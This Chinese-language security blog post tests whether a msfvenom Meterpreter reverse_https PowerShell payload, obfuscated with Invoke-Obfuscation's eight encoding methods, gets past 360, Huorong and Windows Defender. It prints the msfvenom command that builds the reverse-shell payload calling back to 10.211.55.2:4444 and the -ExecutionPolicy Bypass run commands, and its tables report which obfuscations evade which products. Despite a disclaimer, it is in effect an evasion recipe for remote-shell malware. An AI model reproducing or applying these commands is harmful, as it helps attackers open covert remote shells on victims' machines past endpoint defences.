✎ 阅读须知
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他。
更新时间:2021-05-31
Invoke-Obfuscation
下载地址:
https://github.com/danielbohannon/Invoke-Obfuscation
Invoke-Obfuscation是一款混淆工具,具体信息可自行百度学习。
参考文档
代码语言:javascript复制https://blog.csdn.net/weixin_44216796/article/details/112723993
先说下结果:
Invoke-Obfuscation
的Encoding
部分方法混淆可以过360和火绒,但是过不了Windows Defender
1. 模块使用
导入模块
代码语言:javascript复制
代码语言:javascript复制Import-Module C: _poweshellInvoke-Obfuscation-masterInvoke-Obfuscation.psd1
这里注意,一定要写上完整路径,不然会报错
加载模块
代码语言:javascript复制
代码语言:javascript复制Invoke-Obfuscation
支持的加密方法:
TOKEN
支持分部分混淆STRING
整条命令混淆COMPRESS
将命令转为单行并压缩,ENCODING
编码LAUNCHER
选择执行方式
本文只讨论ENCODING
编码方法
2. msfvenom下msf上线
首先用msfvenom
生成一个ps1文件
代码语言:javascript复制msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=4444 -f psh-reflection > msf-crow.ps1
代码语言:javascript复制
然后设置监听:
然后回到win10
2.1 360
直接在有360的环境下进行执行(这里不做云查杀和杀毒的操作)
代码语言:javascript复制PowerShell.exe -ExecutionPolicy Bypass -File .msf-crow.ps1
上线成功。
这里来一次查杀,首先使用按位置查杀
报毒,直接在这个位置关闭,不处理
再运行一次,此时360提示有毒。
2.2 Windows defender
复制到Windows sever2019
下,Windows Defender
直接杀掉,很干脆
2.3 火绒
关掉Windows Defender
直接使用火绒
扫描,没扫描到。
上线试试:
直接就上线了!!!
2.4 总结
因此在此可以进行如下总结:
msfvenom
最新版(2021-05-28安装)生成powershell
攻击脚本在静态下的查杀效果:
火绒 | 360 | Windows Defender | |
---|---|---|---|
windows 10 64位 | 未测 | ❌ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ❌ |
ps:以上环境都在联网状态下
同样
msfvenom
最新版(2021-05-28安装)生成powershell
攻击脚本在动态执行上线的查杀效果:
火绒 | 360 | Windows Defender | |
---|---|---|---|
windows 10 64位 | 未测 | ❌ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ❌ |
ps:以上环境都联网,且均在cmd
中执行-ExecutionPolicy Bypass
来绕过执行安全策略进行上线。
这里可以看到,360在第一次并不拦截,而且还可以上线,这可能由于我用的是虚拟机,如果是实体机的话,应该会被杀。
3. 混淆大法
设置需要混淆的木马文件路径
代码语言:javascript复制
代码语言:javascript复制set scriptpath C: _poweshellmsf-crow.ps1
代码语言:javascript复制
4. 第一种混淆 1
encoding
选择第一种方法混淆
1
将文件输出的out 1.ps1
文件路径:
代码语言:javascript复制C: _poweshellInvoke-Obfuscation-master1.ps1
攻击机开启监听模式:
上线测试:
4.1 360
在360
环境下直接运行(生成之后没有杀毒扫描)
PowerShell.exe -ExecutionPolicy Bypass -File C: _poweshellInvoke-Obfuscation-master1.ps1
这里是在cmd
命令行下执行PowerShell
命令的
-ExecutionPolicy Bypass
:绕过执行安全策略,在默认情况下,PowerShell
的安全策略规定了PowerShell
不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每一次运行PowerShel
l脚本时都要使用这个参数。
(参考:https://blog.csdn.net/Eastmount/article/details/115503946)
360下上线成功
但使用360云查杀之后显示报毒:
4.2 windows Defender
windows Defender
直接静态被杀
4.3 火绒
火绒,静态扫描报毒
动态上线失败
4.4 总结
静态查杀
火绒 | 360 | Windows Defender | |
---|---|---|---|
windows 10 64位 | 未测 | ❌ | 未测 |
windows server 2019 64位 | ❌ | 未测 | ❌ |
全挂。。。
5. 第2种混淆 2
这里先静态测试下
5.1 火绒
火绒直接报毒
5.2 360
360云查杀,正常
5.3 Windows Defender
正常
静态查杀能力:
火绒 | 360 | Windows Defender | |
---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ❌ | 未测 | ✔️ |
动态上线能力:
代码语言:javascript复制PowerShell.exe -ExecutionPolicy Bypass -File C: _poweshellInvoke-Obfuscation-master2.ps1
火绒:
静态查杀,动态上线失败
windf:
静态查杀正常,动态上线失败
360:
动态上线失败,而且清除了木马,因此这里360也是静动均查杀了木马
此时对其进行重新调整如下表
5.4 总结
静态查杀能力:
火绒 | 360 | Windows Defender | |
---|---|---|---|
windows 10 64位 | 未测 | ❌ | 未测 |
windows server 2019 64位 | ❌ | 未测 | ✔️ |
动态上线:
火绒 | 360 | Windows Defender | |
---|---|---|---|
windows 10 64位 | 未测 | ❌ | 未测 |
windows server 2019 64位 | ❌ | 未测 | ❌ |
6. 第三种方法 3
6.1 360
动态上线测试
再次云查杀,正常
6.2 火绒
静态查杀
6.3 windows Defender
静态正常
动态:失败
6.4 总结
静态查杀能力:
火绒 | 360 | Windows Defender | |
---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ❌ | 未测 | ✔️ |
动态上线:
火绒 | 360 | Windows Defender | |
---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ❌ | 未测 | ❌ |
7. 第四种方法 4
7.1 360
上线测试
360动静均正常
7.2 火绒
动态正常
火绒动静正常
7.3 windows Defender
静态过了
动态上线失败
7.4 总结
静态查杀能力:
火绒 | 360 | Windows Defender | |
---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ✔️ |
动态上线:
火绒 | 360 | Windows Defender | |
---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ❌ |
8. 第五种方法 5
现在验证下各种查杀
8.1 360
动态上线
静态正常,动态上线代码错误
8.2 火绒
静态正常,动态上线代码错误
8.3 window defender
都报错,那再生成一次,这次报错更多了
静态正常,动态上线代码错误
8.4 总结
静态查杀能力:
火绒 | 360 | Windows Defender | |
---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ✔️ |
动态上线:
火绒 | 360 | Windows Defender | |
---|---|---|---|
windows 10 64位 | 未测 | 运行报错 | 未测 |
windows server 2019 64位 | 运行报错 | 未测 | 运行报错 |
9. 第6种方法 6
9.1 360
动态上线测试,上线正常
再杀一次,还是正常
360动静态上线均正常
9.2 火绒
火绒动静态上线均正常
9.3 window defender
Windows Defender直接报毒
9.4 总结
静态查杀能力:
火绒 | 360 | Windows Defender | |
---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ❌ |
动态上线:
火绒 | 360 | Windows Defender | |
---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ❌ |
10. 第七种方法 7
10.1 360
动态上线测试,win10下的powershell崩掉,应该是由于字符太大的原因
360静态正常,动态上线程序奔溃
10.2 火绒
静态查杀正常
动态上线测试:正常
10.3 window defender
静态正常
由于脚本无法在我的win10下测试,这里到winserver2019
上进行测试,开启Windows defender
防护
上线失败
10.4 总结
静态查杀能力:
火绒 | 360 | Windows Defender | |
---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ✔️ |
动态上线:
火绒 | 360 | Windows Defender | |
---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ❌ |
11. 第八种方法 8
11.1 360
静动状态下都正常
11.2 火绒
静动状态下都正常
11.3 window defender
11.4 总结
静态查杀能力:
火绒 | 360 | Windows Defender | |
---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ✔️ |
动态上线:
火绒 | 360 | Windows Defender | |
---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ❌ |
12. 总结
环境:
Windows10 x64
360
winserver2019 x64
火绒
windows Defender
msfvenom
生成powershell
攻击脚本和Invoke-Obfuscation混淆方法在Encoding模式下的静态查杀效果:
ps:以上环境都联网状态下,360采用云查杀
同样
msfvenom
生成powershell
攻击脚本和Invoke-Obfuscation混淆方法在Encoding模式下的动态上线查杀效果:
ps:以上环境都联网状态下,360采用云查杀
文中难免有错误和不对的地方,希望各位多多指教!